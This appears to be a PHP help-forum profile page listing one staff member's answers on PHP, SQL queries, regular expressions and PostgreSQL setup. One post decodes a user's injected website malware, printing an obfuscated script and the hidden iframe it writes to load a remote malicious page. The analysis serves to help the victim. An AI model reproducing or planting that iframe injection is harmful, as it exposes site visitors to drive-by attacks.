Jump to content

btherl

Staff Alumni
  • Posts

    3,893
  • Joined

  • Last visited

Everything posted by btherl

  1. Try this: <?php echo '<td class="' . ($page_title1 == 'Home' ? 'menutab2' : 'menutab1') . '"><a href="/"><span><span>Home</span></span></a></td>'; ?> The problem was with the brackets.
  2. There's nothing special about including within a div tag. Do any of your includes word? Or do they all fail? I notice that you include "user_image.php" from the current directory but "user_personal.php" from the includes directory. Is that where the scripts are stored?
  3. Try modifying your code like this: $post_password_stripped = stripslashes($_POST['password']); $db_password_stripped = stripslashes($info['password']); $post_password_stripped_md5 = md5($post_password_stripped); //gives error if the passwordword is wrong if ($post_password_stripped_md5 != $db_password_stripped) { print '$post_password_stripped: ' . urlencode($post_password_stripped) . '<br>'; print '$post_password_stripped_md5: ' . urlencode($post_password_stripped_md5) . '<br>'; print '$db_password_stripped: ' . urlencode($db_password_stripped) . '<br>'; die('Incorrect password, please try again.'); } That will show you exactly what values you are dealing with. It's likely that one of them will not be what you expected, and then you can start debugging from there.
  4. Here's the query reformatted: SELECT * FROM `militaryUnits` AS mU, `kingdomUnits` AS kU, `kingdoms` AS k WHERE mU.`unitLevel` <= '$KingdomLevel' AND k.`id` = '$_SESSION[userid]' AND kU.`kingdomID` = '$_SESSION[userid]' AND mU.`unitID` = kU.`unitID` ORDER BY mU.`unitCost` ASC That looks correct.. you need to unitID matching line. So the problem is probably that your conditions are somehow removing the Pikemen. Do you only have a single line in kU? If so, then you need a left join to have the Pikemen displayed when your kingdom has no pikemen. It'll look like this: SELECT * FROM `kingdomUnits` AS kU, `kingdoms` AS k LEFT JOIN `militaryUnits` AS mU ON (mU.`unitID` = kU.`unitID`) WHERE mU.`unitLevel` <= '$KingdomLevel' AND k.`id` = '$_SESSION[userid]' AND kU.`kingdomID` = '$_SESSION[userid]' ORDER BY mU.`unitCost` ASC This will give you nulls in kU for the row in mU which has no matches. It's a bit odd that you are selecting from kingdoms here.. it makes more sense to me to do 2 queries, one from kingdoms and a second query from kU joined with mU.
  5. Installing the package ought to install the ini file for you. If it doesn't, then it's not a very good package You should install it the same way you install any other package (I'm being vague here, because I've never used Fedora)
  6. To add to 2, a class definition is just a definition. You can't set a variable in a definition of a class (except to set a default value). You can only set a variable in an instance of a class. If you have an instance of class A and an instance of class B, then their variables are totally separate, even if their classes both extended the same parent.
  7. Try adding this to your code: print "<pre>"; print_r($_COOKIE); print "</pre>"; That will show you the contents of the $_COOKIE array.
  8. Try this instead: $standard = '{ {folder_name}="standard" {file_name}="red" }'; if (preg_match("/\{folder_name\}\=\"([^\"]*)\"/",$standard, &$matches)) { // Set the folder name $folder = $matches[1]; } if (preg_match("/\{file_name\}\=\"([^\"]*)\"/",$standard, &$matches)) { // Set the file name $file = $matches[1]; } print "Folder: $folder\n"; print "File: $file\n"; The problem with preg_replace() is that it will retain the unmatched portions of the original string, which isn't what you need here. I also changed the regexp so it doesn't continue beyond the second double quote when parsing a single variable assignment.
  9. Have you got a particular data input format and/or data structure in mind? Or is that all yet to be defined? Is maximum weighted bipartite matching the problem you are solving?
  10. I think that adding a precision column is the way to go. A "numeric" type like timestamp simply cannot distinguish trailing zeros, because the values are numerically equivalent. Like a floating point number 1.0 cannot be distinguished from 1.00, unless you store the precision separately.
  11. What effigy wrote is what you're looking for. His regexp translates to "$input contains only digits or $input contains only WLD". So it will not validate an $input that contains both WLD and digits. Basically it does everything all in one, validation of WLD *or* digits, as well as invalidation of anything else.
  12. Yes there should be a pgsql file in there. And it comes from the package php5-pgsql, or another package with a similar name.
  13. Here's your virus decoded. 1st step: <script>function check_content(){var i=0;while(document.getElementsByTagName('iframe').length){var el=document.getElementsByTagName('iframe')[i];if( (el.style.display=='none' || el.style.visibility =='hidden' || (el.width<5 && el.height<5)) && el.name!='c4'){el.parentNode.removeChild(el);}else i++;}}check_content(); if(!myia){document.write(unescape( '%3c%69%66%72%61%6d%65%20%6e%61%6d%65%3d%63%34%20%73%72%63%3d%27%68%74%74%70%3a%2f%2f%67%6f%6f%67%6c%65%2d%61%6e%61%6c%69%7a%65%2e%63%6f%6d%2f%69%6e%2e%63%67%69%3f%31%35&%78%75%3d%31&%27%2b%4d%61%74%68%2e%72%6f%75%6e%64%28%4d%61%74%68%2e%72%61%6e%64%6f%6d%28%29%2a%32%34%31%35%32%37%29%2b%27%65%38%61%38%32%39%65%37%64%66%64%27%20%77%69%64%74%68%3d%35%36%33%20%68%65%69%67%68%74%3d%34%32%39%20%73%74%79%6c%65%3d%27%64%69%73%70%6c%61%79%3a%20%6e%6f%6e%65%27%3e%3c%2f%69%66%72%61%6d%65%3e'));}var myia=true;</script> 2nd step (results of unescape()): <iframe name=c4 src='http://google-analize.com/in.cgi?15&xu=1&'+Math.round(Math.random()*241527)+'e8a829e7dfd' width=563 height=429 style='display: none'></iframe> If the code keeps coming back then something is placing it there. I think Tibberous gave good advice there.
  14. Here's how I would do it if (preg_match('|^[0-9WLD]+$|', $input)) { # Validated } else { # Failed validation } The above requires at least 1 character to be present to be valid. If you use "*" instead of "+" then it will allow 0 characters to be valid as well.
  15. That doesn't look like the right file. What you need is a module compiled for php called pgsql.so. In Debian the package is called "php5-pgsql". You might try looking for a similarly named package in Fedora.
  16. Which file did you edit? Restarting apache is enough, no need to restart the whole server. Adding the line won't help if the module doesn't exist .. I'm not sure of Fedora's package system, but there's likely to be a package designed for adding postgres support to apache.
  17. Aha, that's your problem then. Normally hat should be taken care of by the package system, but apparently it hasn't in your case. Unfortunately I'm not sure exactly where the configuration will be on your system. You can try looking in /etc/php or /etc/php5. What you should see in your php.ini, or in a file under a conf.d directory, is a line like this: # configuration for php PostgreSQL module extension=pgsql.so That tells php to load the pgsql module.
  18. Hmm that's worrying .. what about this on its own: <?php phpinfo(); ?> With nothing else in the script. Does that show that there is a pgsql module configured in php?
  19. No comment from me on Red Hat training .. I haven't taken it and am self taught. I'm sure it looks good on your resume though If a hirer has 100 candidates and only 10 have Red Hat certification, that's an easy criterion to thin the herd on.
  20. It's possible that php is not configured to support postgres. Try adding this to the top of your script <?php ini_set('display_errors', 1); ?> That should give you more information about what's going wrong.
  21. Please post your code so we can take a look.
  22. Ajax can be used as well to achieve what you want. We use this at my workplace to regularly refresh output from a script. We also use ob_implicit_flush() for other applications. I believe the sajax method is more robust, as ob_implicit_flush() can fail for the various reasons listed in my earlier post. Some browsers will also not display anything until a certain amount of data is received, so you may have to start by printing some junk if you want to use the ob_implicit_flush() approach.
  23. You can try ob_implicit_flush(1) This will not be enough if your webserver is compressing output though, so you must also ensure that zlib is not set to compress output in php.ini, and that mod_gzip is not active in the webserver. It's not enough to disable zlib after your script starts in my experience.
  24. Hmm.. well if it's practical, you might try a more recent php build. The latest stable release is 5.2.6, and there's quite a few PDO fixes between 5.2 and 5.2.6, including bug 39759. But it looks like bug 39858 may still cause trouble even with 5.2.6. At least there are some workarounds in that bug report though. In bug 42499 someone says that this should be fixed in the next release of PDO_MYSQLND, whatever that means.
  25. Did you try the custom dll mentioned here ? There's also several workarounds listed in that bug report. I would start trying them one by one (especially the ones reported by others to work). You could be waiting a long time to get a response here.. I'll also recommend that this thread be moved to the mysql section, as you will likely get noticed by the mysql experts over there.
×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.